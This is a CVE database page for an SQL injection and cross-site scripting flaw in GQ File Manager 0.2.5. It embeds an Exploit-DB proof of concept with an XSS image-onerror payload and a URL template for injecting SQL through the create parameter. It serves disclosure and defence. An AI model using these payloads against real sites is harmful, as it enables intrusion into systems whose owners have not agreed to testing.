CVE-2014-9445

high

Published 2015-01-02 · Modified 2026-05-06

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

8.5

Description

SQL injection vulnerability in incl/create.inc.php in Installatron GQ File Manager 0.2.5 allows remote attackers to execute arbitrary SQL commands via the create parameter to index.php. NOTE: this can be leveraged for cross-site scripting (XSS) attacks by creating a file that generates an error. NOTE: this issue was originally incorrectly mapped to CVE-2014-1137; see CVE-2014-1137 for more information.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-35584 webapps php text · 2 KB

TaurusOmar · 2014-12-19

GQ File Manager 0.2.5 - Multiple Vulnerabilities

text exploit Source: Exploit-DB

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                 INDEPENDENT SECURITY RESEARCHER 
                   PENETRATION TESTING SECURITY
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# Exploit Title: GQ File Manager - Sql Injection - Cross Site Scripting Vulnerability's 
# Date: 19/12/2014
# Url Vendor: http://installatron.com/phpfilemanager
# Vendor Name: GQ File Manager 
# Version: 0.2.5 
# CVE:  CVE-2014-1137
# Author: TaurusOmar	
# Tiwtter: @TaurusOmar_
# Email:  taurusomar13@gmail.com
# Home:  overhat.blogspot.com
# Tested On: Bugtraq Optimus
# Risk: High

Description
GQ File Manager is a lightweight file manager that enables files to be uploaded to and downloaded from a server directory. GQ File Manager is great for creating and maintaining a simple cloud-based repository of files that can be accessed from anywhere on the Internet. 

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+ CROSS SITE SCRIPTING + 
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# Exploiting Description - Created new file example:("xss.html")in the document insert code xss

Input:
"><img src=x onerror=;;alert('XSS') />
Output: 
<br />
<b>Warning</b>:  fread() [<a href='function.fread'>function.fread</a>]: Length parameter must be greater than 0 in <b>/home/u138790842/public_html/gp/incl/edit.inc.php</b> on line <b>44</b><br />
"><img src=x onerror=alert("xss");>

#P0c
"><img src=x onerror=;;alert('XSS') />

#Proof Concept
http://i.imgur.com/cjIvR5l.jpg


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+    Sql Injection     +
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# Exploiting Description - The Sql Injection in path created a new file. 

#P0c
http://site.com/GQFileManager/index.php?&&output=create&create=[sql]

#Proof Concept
http://i.imgur.com/IJZoDVt.jpg

Application impact

Vendor	Product	Versions	Fixed
installatron	gatequest_file_manager	`0.2.5`

References

CWEs

CWE-89

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.